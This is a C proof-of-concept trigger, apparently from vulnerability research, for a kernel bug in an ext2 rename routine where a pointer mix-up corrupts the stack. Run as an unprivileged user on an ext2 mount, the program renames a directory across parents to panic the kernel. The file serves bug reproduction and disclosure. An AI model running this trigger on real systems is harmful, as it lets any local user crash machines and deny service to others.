DF-0783 / trigger_a.c
/* * DF-0783 Trigger A — unprivileged DoS / panic on ext2_rename. * * Bug: sys/vfs/ext2fs/ext2_vnops.c:1042 passes (caddr_t)&dirbuf (address of the * stack pointer variable) instead of (caddr_t)dirbuf (the malloc'd heap buffer) * to vn_rdwr(UIO_READ). This reads sizeof(struct dirtemplate) = 24 bytes of the * source directory's first data block directly onto the kernel stack, clobbering * the 8-byte `dirbuf` pointer (bytes 0-7) and 16 bytes of adjacent frame. The * corrupted pointer is then dereferenced at :1048 (dirbuf->dotdot_type read) and * freed at :1072 (free(dirbuf)). * * This trigger (Trigger A, unpriv DoS): on any mounted ext2 filesystem, create * two sibling dirs d1, d2 and a child d1/sub, then rename(d1/sub, d2/sub). The * cross-directory rename of a directory sets doingdirectory=1 and newparent!=0, * entering the buggy :1038-1072 block. With a normal ext2 "." entry at offset 0 * (dot_ino=<small>, dot_reclen=12, dot_type=2, dot_namlen=1), the resulting * 8-byte pointer value is non-canonical, so the :1048 deref faults -> panic. * * Build: cc -o trigger_a trigger_a.c * Run: ./trigger_a <dir-on-ext2-mount> (as unprivileged user) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <sys/stat.h> int main(int argc, char **argv) { const char *base; char d1[4096], d2[4096], sub[4096], dst[4096]; if (argc != 2) { fprintf(stderr, "usage: %s <writable-dir-on-ext2-mount>\n", argv[0]); return 2; } base = argv[1]; snprintf(d1, sizeof(d1), "%s/df0783_d1", base); snprintf(d2, sizeof(d2), "%s/df0783_d2", base); snprintf(sub, sizeof(sub), "%s/df0783_d1/sub", base); snprintf(dst, sizeof(dst), "%s/df0783_d2/sub", base); /* Clean up any previous attempt. */ (void)unlink(dst); (void)rmdir(sub); (void)rmdir(d1); (void)rmdir(d2); if (mkdir(d1, 0755) != 0) { perror("mkdir d1"); return 1; } if (mkdir(d2, 0755) != 0) { perror("mkdir d2"); return 1; } if (mkdir(sub, 0755) != 0) { perror("mkdir sub"); return 1; } printf("[*] DF-0783 trigger A: about to rename(%s, %s)\n", sub, dst); printf("[*] If the bug is present, the kernel will fault dereferencing the\n"); printf(" corrupted dirbuf pointer (non-canonical) at ext2_vnops.c:1048.\n"); fflush(stdout); /* This is the syscall that enters ext2_rename -> the buggy :1042 vn_rdwr. */ if (rename(sub, dst) != 0) { /* If we get here with an error, the bug path was NOT taken. */ printf("[!] rename returned error: %s (errno=%d)\n", strerror(errno), errno); printf("[!] The buggy code path was not reached. Check:\n"); printf(" - both paths are on the SAME ext2 mount\n"); printf(" - the source is a directory (doingdirectory)\n"); printf(" - the target parent differs (newparent)\n"); return 1; } /* If rename SUCCEEDED without panicking, the bug may already be fixed, * OR the malloc'd buffer happened to be at a canonical address. Either * way, no panic = not reproduced by this trigger. */ printf("[+] rename succeeded (no panic). Bug NOT reproduced by trigger A.\n"); return 0; } |